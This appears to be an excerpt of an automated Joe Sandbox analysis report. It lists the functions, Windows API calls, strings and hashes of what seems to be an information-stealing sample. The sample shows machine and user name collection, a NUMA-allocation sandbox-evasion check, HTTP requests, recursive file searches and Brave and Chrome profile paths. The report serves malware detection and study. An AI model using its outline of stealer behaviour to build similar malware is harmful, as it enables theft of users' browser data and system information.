OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0079D410,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,0079D410,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,007CC908), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,007CC638,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 287c4944f2ba1a5879c5b57656c8dc51a31da8e3a5e3b78fb2e1df7df1d21834
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 287c4944f2ba1a5879c5b57656c8dc51a31da8e3a5e3b78fb2e1df7df1d21834
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 0079F106 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0079F12E
Module32First.KERNEL32(00000000,00000224), ref: 0079F14E

Memory Dump Source

Source File: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0079E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79e000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2e852acaffcd8cc2ff2c86bd92bf84ccf2d9a2b2b3cb411c9aab0a42c1b92eff
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 19F06231240714EBDB203AF9EC8DBAAB6E8AF89725F100538E642D10C0DA78E8454AA1

Function 023E0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,023E0223,?,?), ref: 023E0E19
SetErrorMode.KERNEL32(00000000,?,?,023E0223,?,?), ref: 023E0E1E

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d4cb4eba94850209cbaae35e362045676c289cb241e5a03fcbaace5bfaab95b6
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 05D0123114512877DB003A94DC09BCD7B1CDF05B66F008021FB0DE9080C7B0954046E5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 0079EDC5 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 0079EE16

Memory Dump Source

Source File: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0079E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79e000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d9c5ba4c2d3817e1ed06dc1dd4d6d0b66d0120c435933573f2fca624f2723ccb
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 99113C79A00208EFDB01DF98C985E99BBF5AF08750F0580A4F9489B362D775EA50DF80

Non-executed Functions

Function 004138B0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s%s, xrefs: 00413AAD
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s, xrefs: 0041397A
%s\%s, xrefs: 00413A6F
%s\*, xrefs: 004138C0
%s\%s\%s, xrefs: 00413A4A

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-817767981
Opcode ID: 8791cea4fdcc51078b83b32db4eaf7b09dc70f878dd535264430eb58c9f2cac6
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: 8791cea4fdcc51078b83b32db4eaf7b09dc70f878dd535264430eb58c9f2cac6
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Preferences, xrefs: 0040C11E
Google Chrome, xrefs: 0040C634
\Brave\Preferences, xrefs: 0040C1DB
Brave, xrefs: 0040C102

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 0a7976044a15c6e1a47e7bb651738ac5a93916ab5623d5d417d7de4c0f42f271
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: 0a7976044a15c6e1a47e7bb651738ac5a93916ab5623d5d417d7de4c0f42f271
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149FB
%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: dd01fc369b5388c5bfb31bfe2d46f2fde17b2a46eb7854bc19da0db36a1e72aa
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: dd01fc369b5388c5bfb31bfe2d46f2fde17b2a46eb7854bc19da0db36a1e72aa
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 023F3B17 Relevance: 31.8, APIs: 21, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 023F3B33
FindFirstFileA.KERNEL32(?,?), ref: 023F3B4A
lstrcat.KERNEL32(?,?), ref: 023F3B9C
StrCmpCA.SHLWAPI(?,00420F70), ref: 023F3BAE
StrCmpCA.SHLWAPI(?,00420F74), ref: 023F3BC4
FindNextFileA.KERNEL32(000000FF,?), ref: 023F3ECE
FindClose.KERNEL32(000000FF), ref: 023F3EE3

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction ID: 792bf8d3daa40e297c98f38320f30ec48c74d811ed3e5541cf69d2417e8e1d7c
Opcode Fuzzy Hash: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction Fuzzy Hash: C1A171B6A40258ABDB74DFA4DC84FEE737AFF49700F044588A60D96140EB749B84CF62

Function 00414570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
HeapAlloc.KERNEL32(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcatA.KERNEL32(?,0079D5B0,?,00000104), ref: 004146C5
lstrcatA.KERNEL32(?,007CB9F8), ref: 004146D8
lstrlenA.KERNEL32(?), ref: 004146E5
lstrlenA.KERNEL32(?), ref: 004146F6

Strings

%s\%s, xrefs: 0041461B
%s\*, xrefs: 0041459A

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 6e0b2a7f719afdb9f67bf6bddbb53f06d515f99307fed51ad2247f5638f38586
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: 6e0b2a7f719afdb9f67bf6bddbb53f06d515f99307fed51ad2247f5638f38586
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 023F4B77 Relevance: 27.2, APIs: 18, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 023F4B93
FindFirstFileA.KERNEL32(?,?), ref: 023F4BAA
StrCmpCA.SHLWAPI(?,00420FDC), ref: 023F4BD8
StrCmpCA.SHLWAPI(?,00420FE0), ref: 023F4BEE
FindNextFileA.KERNEL32(000000FF,?), ref: 023F4DE4
FindClose.KERNEL32(000000FF), ref: 023F4DF9

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction ID: f45c130a34b478bd428de223567a92605c1c17b6f52dc6f3214b18cdcee97984
Opcode Fuzzy Hash: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction Fuzzy Hash: 4B6167B5540218BBCB34EBE0ED44FEA73BDFB49700F004589A74996141EB75AB45CF91

Function 023EC0D7 Relevance: 26.2, APIs: 17, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 023EC15C
StrCmpCA.SHLWAPI(?,004213F8), ref: 023EC1B4
StrCmpCA.SHLWAPI(?,004213FC), ref: 023EC1CA
FindNextFileA.KERNEL32(000000FF,?), ref: 023ECA26
FindClose.KERNEL32(000000FF), ref: 023ECA38

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction ID: 4c1857b2342d080744d1d639cd49a5962f28cbf5f6d213756eb067e7941b17c5
Opcode Fuzzy Hash: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction Fuzzy Hash: BF420372910218ABCF64FBB0ED55EEE737AAF54300F404569A60EA6190EF349B4DCF51

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 08d8b5707085556954652948dce7410593c86d1cefa4e3426e9ef0f3fe249a5a
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 08d8b5707085556954652948dce7410593c86d1cefa4e3426e9ef0f3fe249a5a
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 023F47D7 Relevance: 22.6, APIs: 15, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 023F47E7
RtlAllocateHeap.NTDLL(00000000), ref: 023F47EE
wsprintfA.USER32 ref: 023F480D
FindFirstFileA.KERNEL32(?,?), ref: 023F4824
